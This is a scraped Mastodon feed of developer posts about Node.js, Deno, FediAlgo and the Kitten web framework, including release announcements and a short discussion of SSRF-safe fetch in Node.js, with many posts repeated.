⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
You can now send replies to Toots as well as expand threads directly within the demo app, no need to click through to the regular Mastodon web interface.

* Link: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action: universeodon.com/@cryptadamist

screenshot of fedialgo showing threaded feature in background and reply box in foreground
ALT text detailsscreenshot of fedialgo showing threaded feature in background and reply box in foreground
Michael's avatar
Michael

@michael@thms.uk

I have posted about this before, but wanted to re-iterate how much in love I am with FediAlgo:

I’m currently on paternity leave so have around half an hour per day for social. That is of course far from enough to keep up with a chronological timeline like mine, and previously with Mastodon the FOMO was real.

Now I go to FediAlgo and I feel I got an overview over what’s interesting in that day. It’s also immensely customisable, but the defaults do a decent job for me.

If you haven’t tried it yet, I highly recommend you try it out. You can try it out on my personal playground at fedialgo.thms.uk or on the maintainer’s official website at michelcrypt4d4mus.github.io/fe

Thanks @cryptadamist for the work you put into this!

Michael's avatar
Michael

@michael@thms.uk

I have posted about this before, but wanted to re-iterate how much in love I am with FediAlgo:

I’m currently on paternity leave so have around half an hour per day for social. That is of course far from enough to keep up with a chronological timeline like mine, and previously with Mastodon the FOMO was real.

Now I go to FediAlgo and I feel I got an overview over what’s interesting in that day. It’s also immensely customisable, but the defaults do a decent job for me.

If you haven’t tried it yet, I highly recommend you try it out. You can try it out on my personal playground at fedialgo.thms.uk or on the maintainer’s official website at michelcrypt4d4mus.github.io/fe

Thanks @cryptadamist for the work you put into this!

⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
, the customizable timeline algorithm / filtering system for your Mastodon feed, is now deployed on Github Pages and can be used from your web browser.

* Link: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action: universeodon.com/@cryptadamist

⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
, the customizable timeline algorithm / filtering system for your Mastodon feed, is now deployed on Github Pages and can be used from your web browser.

* Link: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action: universeodon.com/@cryptadamist

⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
, the customizable timeline algorithm / filtering system for your Mastodon feed, is now deployed on Github Pages and can be used from your web browser.

* Link: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action: universeodon.com/@cryptadamist

⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

The fine @michael has deployed the demo app to a place where you can test out the customizable algorithm + filtering system for your home timeline with nothing more than a web browser. You can find it here:

fedialgo.thms.uk/

Here's a video of the FediAlgo demo in action (there's a few new features since the video): universeodon.com/@cryptadamist

cc: @rolle @paige @LaurensHof

⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

The fine @michael has deployed the demo app to a place where you can test out the customizable algorithm + filtering system for your home timeline with nothing more than a web browser. You can find it here:

fedialgo.thms.uk/

Here's a video of the FediAlgo demo in action (there's a few new features since the video): universeodon.com/@cryptadamist

cc: @rolle @paige @LaurensHof

Neil Craig's avatar
Neil Craig

@tdp_org@mastodon.social

Dependabot opened a PR to update my logging pipeline from Node22 to 24 this morning. This auto-deployed to a pre-prod environment and my stats tell me Node 24 is using ~8% (of 1GiB) more RAM than Node 22, with very similar workload.
My setup is Google Cloud Run running Debian slim.
Anyone seen this? I can't find anything being reported on the web.

⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

The fine @michael has deployed the demo app to a place where you can test out the customizable algorithm + filtering system for your home timeline with nothing more than a web browser. You can find it here:

fedialgo.thms.uk/

Here's a video of the FediAlgo demo in action (there's a few new features since the video): universeodon.com/@cryptadamist

cc: @rolle @paige @LaurensHof

⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

The fine @michael has deployed the demo app to a place where you can test out the customizable algorithm + filtering system for your home timeline with nothing more than a web browser. You can find it here:

fedialgo.thms.uk/

Here's a video of the FediAlgo demo in action (there's a few new features since the video): universeodon.com/@cryptadamist

cc: @rolle @paige @LaurensHof

Emelia 👸🏻's avatar
Emelia 👸🏻

@thisismissem@hachyderm.io

The fantastic @adonisframework — which we used to build @iftas CCS reasonably quickly — is now on Mastodon / the Fediverse!

If you're looking for a fantastic web framework, Adonis.js is not to miss!

Yuna's avatar
Yuna

@LunaFreyja@hachyderm.io

Is Node.js the future of backend development, or just a beautifully wrapped grenade?

Lately, I see more and more backend systems, yes, even monoliths, built entirely in Node.js, sometimes with server-side rendering layered on top. These are not toy projects. These are services touching sensitive PII data, sometimes in regulated industries.

When I first used Node.js years ago, I remember:
• Security concepts were… let’s say aspirational.
• Licensing hell due to questionable npm dependencies.
• Tests were flaky, with mocking turning into dark rituals.
• Behavior of libraries changed weekly like socks, but more dangerous.
• Internet required to run a “local” build. How comforting.

Even with TypeScript, it all melts back into JavaScript at runtime, a language so flexible it can hang itself.

Sure, SSR and monoliths can simplify architecture. But they also widen the attack surface, especially when:
• The backend is non-compiled.
• Every endpoint is a potential open door.
• The system needs Node + a fleet of dependencies + a container + prayer just to run.

Compare that to a compiled, stateless binary that:
• Runs in a scratch container.
• Requires zero runtime dependencies.
• Has encryption at rest, in transit, and ideally per-user.
• Can be observed, scaled, audited, stateless and destroyed with precision.

I’ve shipped frontends that are static, CDN-delivered, secure by design, and light enough to fit on a floppy disk. By running them with Node, I’m loading gigabytes of unknown tooling to render “Hello, user”.

So I wonder:
Is this the future? Or am I just… old?

Are we replacing mature, scalable architectures with serverless spaghetti and 12-factor mayhem because “it works on Vercel”?

Tell me how you build secure, observable, compliant systems in Node.js.
Genuinely curious.
Mildly terrified and maybe old.

Compiled Languages vs NodeJs picture
ALT text detailsCompiled Languages vs NodeJs picture
nullagent's avatar
nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

Wrote a little parser for meshcore packets tonight. It's still messy and a lot more to implement. But, it reads the container format so I'm happy for now.

I have meshcore packets flowing from multiple repeaters(on different frequencies) talking on wifi using udp broadcasts.

The repeaters automatically discover each other on the network and now I'm able to watch their chatter with a quick nodejs server.

⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

The FediAlgo hashtag filter section now highlights any hashtags you've posted about recently.

Interestingly the most I've used the app the more I've found feed filtering gets a ton of mileage for me. It's a huge change of pace to be able to instantly flip between whatever people are talking about on the Fediverse. Not really something you can do on any other social media platform I'm aware of.

* video of FediAlgo + link: universeodon.com/@cryptadamist

screenshot of fedialgo demo app
ALT text detailsscreenshot of fedialgo demo app
⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

The FediAlgo hashtag filter section now highlights any hashtags you've posted about recently.

Interestingly the most I've used the app the more I've found feed filtering gets a ton of mileage for me. It's a huge change of pace to be able to instantly flip between whatever people are talking about on the Fediverse. Not really something you can do on any other social media platform I'm aware of.

* video of FediAlgo + link: universeodon.com/@cryptadamist

screenshot of fedialgo demo app
ALT text detailsscreenshot of fedialgo demo app
gaby's avatar
gaby

@gabygarro@app.wafrn.net

hola wafrn amiguis!! I have published my Wafrn SDK for NodeJS!
https://www.npmjs.com/package/wafrn-sdk


#wafrn-sdk #nodejs
gaby's avatar
gaby

@gabygarro@app.wafrn.net

hola wafrn amiguis!! I have published my Wafrn SDK for NodeJS!
https://www.npmjs.com/package/wafrn-sdk


#wafrn-sdk #nodejs
Deno's avatar
Deno

@deno_land@fosstodon.org

"Deno has allowed us to transition services faster without sacrificing reliability," says Plaid architecture lead Zander Hill.

Here's how they did it 👇

deno.com/blog/how-plaid-migrat

⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
New release of (customizable for your timeline) has a couple of cool features:

1. Configuration presets (so you can easily put discussions or trending toots at the top of your without fiddling with the individual settings)

2. A "What's Trending" section that will show you the top trending hashtags, links, and posts scraped from 30 or so of the most popular Mastodon servers

All the old features like filtering for particular languages / hashtags / users or a minimum number of replies / boosts / etc. are still there.

* Usable demo: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Library: github.com/michelcrypt4d4mus/f

Deno's avatar
Deno

@deno_land@fosstodon.org

You can now add JSR packages with @yarnpkg and @pnpmjs

deno.com/blog/add-jsr-with-pnp

Deno's avatar
Deno

@deno_land@fosstodon.org

You can now add JSR packages with @yarnpkg and @pnpmjs

deno.com/blog/add-jsr-with-pnp

⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
New release of (customizable for your timeline) has a couple of cool features:

1. Configuration presets (so you can easily put discussions or trending toots at the top of your without fiddling with the individual settings)

2. A "What's Trending" section that will show you the top trending hashtags, links, and posts scraped from 30 or so of the most popular Mastodon servers

All the old features like filtering for particular languages / hashtags / users or a minimum number of replies / boosts / etc. are still there.

* Usable demo: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Library: github.com/michelcrypt4d4mus/f

⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
New release of (customizable for your timeline) has a couple of cool features:

1. Configuration presets (so you can easily put discussions or trending toots at the top of your without fiddling with the individual settings)

2. A "What's Trending" section that will show you the top trending hashtags, links, and posts scraped from 30 or so of the most popular Mastodon servers

All the old features like filtering for particular languages / hashtags / users or a minimum number of replies / boosts / etc. are still there.

* Usable demo: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Library: github.com/michelcrypt4d4mus/f

⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
New release of (customizable for your timeline) has a couple of cool features:

1. Configuration presets (so you can easily put discussions or trending toots at the top of your without fiddling with the individual settings)

2. A "What's Trending" section that will show you the top trending hashtags, links, and posts scraped from 30 or so of the most popular Mastodon servers

All the old features like filtering for particular languages / hashtags / users or a minimum number of replies / boosts / etc. are still there.

* Usable demo: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Library: github.com/michelcrypt4d4mus/f

⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
New release of (customizable for your timeline) has a couple of cool features:

1. Configuration presets (so you can easily put discussions or trending toots at the top of your without fiddling with the individual settings)

2. A "What's Trending" section that will show you the top trending hashtags, links, and posts scraped from 30 or so of the most popular Mastodon servers

All the old features like filtering for particular languages / hashtags / users or a minimum number of replies / boosts / etc. are still there.

* Usable demo: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Library: github.com/michelcrypt4d4mus/f

Deno's avatar
Deno

@deno_land@fosstodon.org

How to automatically associate console logs by request with @opentelemetry and Hyperdx

docs.deno.com/examples/hyperdx

Deno's avatar
Deno

@deno_land@fosstodon.org

How to automatically associate console logs by request with @opentelemetry and Hyperdx

docs.deno.com/examples/hyperdx

Deno's avatar
Deno

@deno_land@fosstodon.org

How to automatically associate console logs by request with @opentelemetry and Hyperdx

docs.deno.com/examples/hyperdx

Aral Balkan's avatar
Aral Balkan

@aral@mastodon.ar.al

New Kitten release 🎉

kitten.small-web.org

• New: Lovely new icons¹ and new callouts in Kitten Settings²

• New: Markdown now supports attributes and bracketed spans³

• New: client-side `kitten` global with `trigger` function for triggering events on the server from the client. (Useful when streaming client-side JavaScript when using Kitten’s Streaming HTML⁴ workflow. e.g., when you have to use a client-only web API like the Clipboard API but you want to keep all your logic on your server-side page.⁵)

• Fixed: The bound render function returned by `KittenComponent` class’s `component` getter now correctly awaits asynchronous templates. (In Kitten, you don’t have to care whether your templates contain promises. Kitten handles all that for you.)

Enjoy! :kitten:💕

¹ kitten.small-web.org/reference

² mastodon.ar.al/@aral/114381983

³ kitten.small-web.org/reference (also see mastodon.ar.al/@aral/114381462)

kitten.small-web.org/tutorials

⁵ e.g., See how I use this to implement a copy to clipboard button in the database page of Kitten’s Settings: codeberg.org/kitten/app/src/br Of course, you don’t have to use this and you can just write client-side JavaScript or use the built-in Alpine.js integration. e.g., how I do it on the (older) settings/identity page: codeberg.org/kitten/app/src/br

Aral Balkan's avatar
Aral Balkan

@aral@mastodon.ar.al

New Kitten release 🎉

kitten.small-web.org

• New: Lovely new icons¹ and new callouts in Kitten Settings²

• New: Markdown now supports attributes and bracketed spans³

• New: client-side `kitten` global with `trigger` function for triggering events on the server from the client. (Useful when streaming client-side JavaScript when using Kitten’s Streaming HTML⁴ workflow. e.g., when you have to use a client-only web API like the Clipboard API but you want to keep all your logic on your server-side page.⁵)

• Fixed: The bound render function returned by `KittenComponent` class’s `component` getter now correctly awaits asynchronous templates. (In Kitten, you don’t have to care whether your templates contain promises. Kitten handles all that for you.)

Enjoy! :kitten:💕

¹ kitten.small-web.org/reference

² mastodon.ar.al/@aral/114381983

³ kitten.small-web.org/reference (also see mastodon.ar.al/@aral/114381462)

kitten.small-web.org/tutorials

⁵ e.g., See how I use this to implement a copy to clipboard button in the database page of Kitten’s Settings: codeberg.org/kitten/app/src/br Of course, you don’t have to use this and you can just write client-side JavaScript or use the built-in Alpine.js integration. e.g., how I do it on the (older) settings/identity page: codeberg.org/kitten/app/src/br

lil5 :golang: 🚲 🇳🇱's avatar
lil5 :golang: 🚲 🇳🇱

@lil5@social.linux.pizza

OptionVoters
Deno4 (57%)
Bun3 (43%)
Deno's avatar
Deno

@deno_land@fosstodon.org

Deno v2.2.10 is out 🎉
⭐ Faster deno install with npm
⭐ improved node:test
⭐ stream and querystring fixes
⭐ virtio VSOCK on Linux
and more!

github.com/denoland/deno/relea

Emelia 👸🏻's avatar
Emelia 👸🏻

@thisismissem@hachyderm.io · Reply to Emelia 👸🏻's post

Like the Bluesky team wrote a tonne of code to prevent common node.js fetch() security bugs, including:
- SSRF attacks
- Disabling automatic following of redirects
- malicious protocols
- timeouts
- response size attacks

But somehow none of this is really ever considered by most folks when using fetch() in node.js

github.com/bluesky-social/atpr

Emelia 👸🏻's avatar
Emelia 👸🏻

@thisismissem@hachyderm.io

Something I've never seen documented is how to actually do SSRF prevention with Node.js's fetch implementation.

Like you could resolve DNS before making the request, and assert the IP addresses are public IP addresses, but afaict, fetch() will do that too so you could theoretically get two different results (although unlikely)

Feels like Node.js should just ship an SSRF safe fetch implementation.

Frontend Dogma's avatar
Frontend Dogma

@frontenddogma@mas.to

Node Just Added TypeScript Support. What Does That Mean for Deno?, by @tinyclouds.org (@deno_land):

deno.com/blog/typescript-in-no

Aral Balkan's avatar
Aral Balkan

@aral@mastodon.ar.al

New Kitten release

• Fixes #236¹: The data preview pages in Kitten’s settings how handle circular references in the deserialised data (which may contain your custom classes if that’s what you were persisting in the database).

kitten.small-web.org

:kitten:💕

PS. Those pages are very rudimentary at the moment and are good for getting quick visual overview of the data you’re persisting. For a fully interactive view, use Kitten’s interactive shell (REPL)² to explore your data until I’ve had a chance to implement a more comprehensive visual interface.

PPS. You persist data in Kitten using the built-in JavaScript Database (JSDB)³ (Or, of course, you can install and use any other database.)

¹ codeberg.org/kitten/app/issues
² kitten.small-web.org/reference
³ codeberg.org/small-tech/jsdb#j

Aral Balkan's avatar
Aral Balkan

@aral@mastodon.ar.al

New Kitten release

• Fixes #236¹: The data preview pages in Kitten’s settings how handle circular references in the deserialised data (which may contain your custom classes if that’s what you were persisting in the database).

kitten.small-web.org

:kitten:💕

PS. Those pages are very rudimentary at the moment and are good for getting quick visual overview of the data you’re persisting. For a fully interactive view, use Kitten’s interactive shell (REPL)² to explore your data until I’ve had a chance to implement a more comprehensive visual interface.

PPS. You persist data in Kitten using the built-in JavaScript Database (JSDB)³ (Or, of course, you can install and use any other database.)

¹ codeberg.org/kitten/app/issues
² kitten.small-web.org/reference
³ codeberg.org/small-tech/jsdb#j

Deno's avatar
Deno

@deno_land@fosstodon.org

How send @opentelemetry data from your (or ) app to @honeycombio
docs.deno.com/examples/honeyco

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno v2.2.10 is out 🎉
⭐ Faster deno install with npm
⭐ improved node:test
⭐ stream and querystring fixes
⭐ virtio VSOCK on Linux
and more!

github.com/denoland/deno/relea

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno v2.2.10 is out 🎉
⭐ Faster deno install with npm
⭐ improved node:test
⭐ stream and querystring fixes
⭐ virtio VSOCK on Linux
and more!

github.com/denoland/deno/relea

Deno's avatar
Deno

@deno_land@fosstodon.org

Deno v2.2.10 is out 🎉
⭐ Faster deno install with npm
⭐ improved node:test
⭐ stream and querystring fixes
⭐ virtio VSOCK on Linux
and more!

github.com/denoland/deno/relea

Frontend Dogma's avatar
Frontend Dogma

@frontenddogma@mas.to

Node Just Added TypeScript Support. What Does That Mean for Deno?, by @tinyclouds.org (@deno_land):

deno.com/blog/typescript-in-no

Deno's avatar
Deno

@deno_land@fosstodon.org

Traces can show:
- which code triggered an operation
- what happened
- when it happened, and
- how long it took

Here's how you can make your traces include all child operations to simplify debugging 👇

Deno's avatar
Deno

@deno_land@fosstodon.org

Traces can show:
- which code triggered an operation
- what happened
- when it happened, and
- how long it took

Here's how you can make your traces include all child operations to simplify debugging 👇

Deno's avatar
Deno

@deno_land@fosstodon.org

Simplify debugging with Deno and @opentelemetry
✅ logs associated with requests
✅ immediate traces and metrics
✅ works on Node.js backends
without any additional code or config ✨

deno.com/blog/zero-config-debu

Frontend Dogma's avatar
Frontend Dogma

@frontenddogma@mas.to

Node Just Added TypeScript Support. What Does That Mean for Deno?, by @tinyclouds.org (@deno_land):

deno.com/blog/typescript-in-no

Deno's avatar
Deno

@deno_land@fosstodon.org

Data analysis in Jupyter notebooks with... TypeScript?! 😱
✅ using `fetch` and other web standards
✅ fast dataframes with nodejs-polars
✅ easy charts with @observablehq
✅ rich interactive UIs with JavaScript

Learn more in this detailed walkthrough 👇
deno.com/blog/exploring-art-wi

Deno's avatar
Deno

@deno_land@fosstodon.org

Data analysis in Jupyter notebooks with... TypeScript?! 😱
✅ using `fetch` and other web standards
✅ fast dataframes with nodejs-polars
✅ easy charts with @observablehq
✅ rich interactive UIs with JavaScript

Learn more in this detailed walkthrough 👇
deno.com/blog/exploring-art-wi

Richie Khoo's avatar
Richie Khoo

@richiekhoo@hachyderm.io

Package Manager for Markdown

I'm working on a project that is intended to encourage folk to make markdown text files which can be bundled together in different bundles of text files using a package manager.

Question for coders; Which package manager would you suggest I use?

Main criterias (in order) are:

1. Easy for someone with basic command line skills to edit the file and update version numbers and add additional packages.

2. All being equal, more commonly and easy to setup is preferred.



Tommi 🤯's avatar
Tommi 🤯

@tommi@pan.rent

Looking for CMS advice

Hey Web devs!

Do you have any suggestions, tips, opinions, dos, don’ts about headless CMSes?

I have a growing list of small/mid non-profits and collectives asking for my help to (re)make their website. I totally want to help, but I don’t have much time, especially considering that they generally have little or no funding—I would most definitely point them to @VillageOneCoop, otherwise.

Therefore, I want a super simple and replicable solution where I can copy-paste most of the code, while providing them with a stable, fast, and modern solution. I had a look at the Headless CMS section in the Jamstack website, but I need opinions from people who actually used some of that software already.

Needs

  • I want to code and configure everything using @eleventy
  • Admin interface () for the client to add pages and write posts
  • Static website in the front-end
  • Simple and reliable CI/CD
  • No/minimal maintenance after the first setup
  • Self-hostable (I was taking this for granted so much that I forgot to write it)
  • If it requires forge integration, it should support

Nice to have

  • Possibly using , not
  • Allowing the client to customize a bit their website through the admin interface, with a GUI
  • CMS app packaged on @yunohost
  • No CMS vendor lock-in
  • I’d love to write as little JavaScript as possible

Absolutely not

Please, boost this and ask around! Links to videos, tutorials, and resources are welcome.

People whose perspective I would really value: @zachleat @harryfk @deno_land @jaredwhite @vanillaweb @stefan @mxbck @WeirdWriter @deadsuperhero (Sorry if I am spamming you!)

Tommi 🤯's avatar
Tommi 🤯

@tommi@pan.rent

Looking for CMS advice

Hey Web devs!

Do you have any suggestions, tips, opinions, dos, don’ts about headless CMSes?

I have a growing list of small/mid non-profits and collectives asking for my help to (re)make their website. I totally want to help, but I don’t have much time, especially considering that they generally have little or no funding—I would most definitely point them to @VillageOneCoop, otherwise.

Therefore, I want a super simple and replicable solution where I can copy-paste most of the code, while providing them with a stable, fast, and modern solution. I had a look at the Headless CMS section in the Jamstack website, but I need opinions from people who actually used some of that software already.

Needs

  • I want to code and configure everything using @eleventy
  • Admin interface () for the client to add pages and write posts
  • Static website in the front-end
  • Simple and reliable CI/CD
  • No/minimal maintenance after the first setup
  • Self-hostable (I was taking this for granted so much that I forgot to write it)
  • If it requires forge integration, it should support

Nice to have

  • Possibly using , not
  • Allowing the client to customize a bit their website through the admin interface, with a GUI
  • CMS app packaged on @yunohost
  • No CMS vendor lock-in
  • I’d love to write as little JavaScript as possible

Absolutely not

Please, boost this and ask around! Links to videos, tutorials, and resources are welcome.

People whose perspective I would really value: @zachleat @harryfk @deno_land @jaredwhite @vanillaweb @stefan @mxbck @WeirdWriter @deadsuperhero (Sorry if I am spamming you!)

Deno's avatar
Deno

@deno_land@fosstodon.org

Just landed a new manual page on Deno's FFI

docs.deno.com/runtime/fundamen

nullagent's avatar
nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

Wrote a little parser for meshcore packets tonight. It's still messy and a lot more to implement. But, it reads the container format so I'm happy for now.

I have meshcore packets flowing from multiple repeaters(on different frequencies) talking on wifi using udp broadcasts.

The repeaters automatically discover each other on the network and now I'm able to watch their chatter with a quick nodejs server.

Socket's avatar
Socket

@SocketSecurity@fosstodon.org

The Node.js TSC officially voted to stop distributing Corepack. Future Node.js releases (i.e. 25+) won’t include it, but it will remain available separately. socket.dev/blog/node-js-tsc-vo

Socket's avatar
Socket

@SocketSecurity@fosstodon.org

The Node.js TSC officially voted to stop distributing Corepack. Future Node.js releases (i.e. 25+) won’t include it, but it will remain available separately. socket.dev/blog/node-js-tsc-vo

Deno's avatar
Deno

@deno_land@fosstodon.org

Just landed a new manual page on Deno's FFI

docs.deno.com/runtime/fundamen

Deno's avatar
Deno

@deno_land@fosstodon.org

Just landed a new manual page on Deno's FFI

docs.deno.com/runtime/fundamen

Deno's avatar
Deno

@deno_land@fosstodon.org

Just landed a new manual page on Deno's FFI

docs.deno.com/runtime/fundamen

Revath S Kumar :javascript:'s avatar
Revath S Kumar :javascript:

@revathskumar@fosstodon.org

TIL:

```
import { domainToASCII } from 'node:url';
console.log(domainToASCII("localhost:8000"));
```

`domainToASCII` will return empty string for the hostname with port like "localhost:8000" in and in

On it will return "localhost:8000"

Deno's avatar
Deno

@deno_land@fosstodon.org

Want your own custom AI thats trained on confidential material?

Here's how you can build a custom RAG AI agent 👇

deno.com/blog/build-custom-rag

Deno's avatar
Deno

@deno_land@fosstodon.org

🚀 Deno v2.2.4 is released:

- Built-in OpenTelemetry support for span context propagators (tracecontext, baggage)
- Built-in OTel tracing for node:http.request
- LSP now starts the TypeScript server lazily

other improvements in the release notes:
github.com/denoland/deno/relea

Deno's avatar
Deno

@deno_land@fosstodon.org

🚀 Deno v2.2.4 is released:

- Built-in OpenTelemetry support for span context propagators (tracecontext, baggage)
- Built-in OTel tracing for node:http.request
- LSP now starts the TypeScript server lazily

other improvements in the release notes:
github.com/denoland/deno/relea

Deno's avatar
Deno

@deno_land@fosstodon.org

🚀 Deno v2.2.4 is released:

- Built-in OpenTelemetry support for span context propagators (tracecontext, baggage)
- Built-in OTel tracing for node:http.request
- LSP now starts the TypeScript server lazily

other improvements in the release notes:
github.com/denoland/deno/relea

Deno's avatar
Deno

@deno_land@fosstodon.org

🚀 Deno v2.2.4 is released:

- Built-in OpenTelemetry support for span context propagators (tracecontext, baggage)
- Built-in OTel tracing for node:http.request
- LSP now starts the TypeScript server lazily

other improvements in the release notes:
github.com/denoland/deno/relea

Deno's avatar
Deno

@deno_land@fosstodon.org

🚀 Deno v2.2.4 is released:

- Built-in OpenTelemetry support for span context propagators (tracecontext, baggage)
- Built-in OTel tracing for node:http.request
- LSP now starts the TypeScript server lazily

other improvements in the release notes:
github.com/denoland/deno/relea

Deno's avatar
Deno

@deno_land@fosstodon.org

🚀 Deno v2.2.4 is released:

- Built-in OpenTelemetry support for span context propagators (tracecontext, baggage)
- Built-in OTel tracing for node:http.request
- LSP now starts the TypeScript server lazily

other improvements in the release notes:
github.com/denoland/deno/relea

Deno's avatar
Deno

@deno_land@fosstodon.org

🚀 Deno v2.2.4 is released:

- Built-in OpenTelemetry support for span context propagators (tracecontext, baggage)
- Built-in OTel tracing for node:http.request
- LSP now starts the TypeScript server lazily

other improvements in the release notes:
github.com/denoland/deno/relea

Deno's avatar
Deno

@deno_land@fosstodon.org

🚀 Deno v2.2.4 is released:

- Built-in OpenTelemetry support for span context propagators (tracecontext, baggage)
- Built-in OTel tracing for node:http.request
- LSP now starts the TypeScript server lazily

other improvements in the release notes:
github.com/denoland/deno/relea

Deno's avatar
Deno

@deno_land@fosstodon.org

Here's how Deno's built-in OTel support can immediately add logs and traces to any Node.js backend 👇

deno.com/blog/otel-tracing-in-

Deno's avatar
Deno

@deno_land@fosstodon.org

Here's how Deno's built-in OTel support can immediately add logs and traces to any Node.js backend 👇

deno.com/blog/otel-tracing-in-

Fedor Indutny's avatar
Fedor Indutny

@indutny@mean.engineer · Reply to Fedor Indutny's post

Here it is folks github.com/signalapp/node-sqlc

A sqlcipher (encrypted sqlite) npm package:

- Built on N-API so it doesn't have to be recompiled
- Fully synchronous so that you can write your transaction without worries, and spread the work across threads as you like
- A bit faster than better-sqlite3 on SELECT queries (I used a special trick 😅), and about the same on INSERTs

Bonus:

It includes a custom FTS5 tokenizer that we use for tokenizing non-english queries (think CJK)

Deno's avatar
Deno

@deno_land@fosstodon.org

update: We just responded to Oracle's Motion to Dismiss our fraud claim in the JavaScript trademark cancellation.

Oracle argues submitting one valid specimen excuses submitting a fraudulent one. Our position: one legitimate submission doesn't erase another fraudulent act.

deno.com/blog/deno-v-oracle/20

Deno's avatar
Deno

@deno_land@fosstodon.org

update: We just responded to Oracle's Motion to Dismiss our fraud claim in the JavaScript trademark cancellation.

Oracle argues submitting one valid specimen excuses submitting a fraudulent one. Our position: one legitimate submission doesn't erase another fraudulent act.

deno.com/blog/deno-v-oracle/20

Deno's avatar
Deno

@deno_land@fosstodon.org

update: We just responded to Oracle's Motion to Dismiss our fraud claim in the JavaScript trademark cancellation.

Oracle argues submitting one valid specimen excuses submitting a fraudulent one. Our position: one legitimate submission doesn't erase another fraudulent act.

deno.com/blog/deno-v-oracle/20

Deno's avatar
Deno

@deno_land@fosstodon.org

update: We just responded to Oracle's Motion to Dismiss our fraud claim in the JavaScript trademark cancellation.

Oracle argues submitting one valid specimen excuses submitting a fraudulent one. Our position: one legitimate submission doesn't erase another fraudulent act.

deno.com/blog/deno-v-oracle/20

Deno's avatar
Deno

@deno_land@fosstodon.org

Big shoutout to Node.js for adding TypeScript 🎉

But how is it different than Deno's "first class" TypeScript support?

Here's an overview of what you can (and can't) do with TypeScript in Node and Deno.

deno.com/blog/typescript-in-no

Chee Aun 🤔's avatar
Chee Aun 🤔

@cheeaun@mastodon.social

Huh, Runkit has been gone for few months and npm pages are still linking to it github.com/orgs/community/disc

The forum is also filled with reports and spam discuss.runkit.com/ 😥

Deno's avatar
Deno

@deno_land@fosstodon.org

Is there a lint rule that you've always felt was missing? 🤔

With Deno 2.2's new lint plugin system, you can write and publish your own!

For the next week, if you publish a lint rule, you'll get a free prize. 👇

deno.com/blog/lint-rules-conte

Deno's avatar
Deno

@deno_land@fosstodon.org

Want to play around with LLMs in 5 minutes?

Check out this quickstart with Deno Jupyter🦕, Ollama 🦙, and Deepseek 🐳

deno.com/blog/the-dino-llama-a

Deno's avatar
Deno

@deno_land@fosstodon.org

Is there a lint rule that you've always felt was missing? 🤔

With Deno 2.2's new lint plugin system, you can write and publish your own!

For the next week, if you publish a lint rule, you'll get a free prize. 👇

deno.com/blog/lint-rules-conte

Deno's avatar
Deno

@deno_land@fosstodon.org

Want to play around with LLMs in 5 minutes?

Check out this quickstart with Deno Jupyter🦕, Ollama 🦙, and Deepseek 🐳

deno.com/blog/the-dino-llama-a

Deno's avatar
Deno

@deno_land@fosstodon.org

Want to play around with LLMs in 5 minutes?

Check out this quickstart with Deno Jupyter🦕, Ollama 🦙, and Deepseek 🐳

deno.com/blog/the-dino-llama-a

Deno's avatar
Deno

@deno_land@fosstodon.org

Is there a lint rule that you've always felt was missing? 🤔

With Deno 2.2's new lint plugin system, you can write and publish your own!

For the next week, if you publish a lint rule, you'll get a free prize. 👇

deno.com/blog/lint-rules-conte

Deno's avatar
Deno

@deno_land@fosstodon.org

Is there a lint rule that you've always felt was missing? 🤔

With Deno 2.2's new lint plugin system, you can write and publish your own!

For the next week, if you publish a lint rule, you'll get a free prize. 👇

deno.com/blog/lint-rules-conte

Aral Balkan's avatar
Aral Balkan

@aral@mastodon.ar.al

New Kitten release

• Fixes redirection from sign-in page when person is already authenticated.

kitten.small-web.org

To learn more about how Kitten automatically implements authentication for your Small Web sites and apps using public-key cryptography (so even your own server doesn’t know your secret)¹, please see the Authentication tutorial:

kitten.small-web.org/tutorials

Enjoy!

:kitten:💕

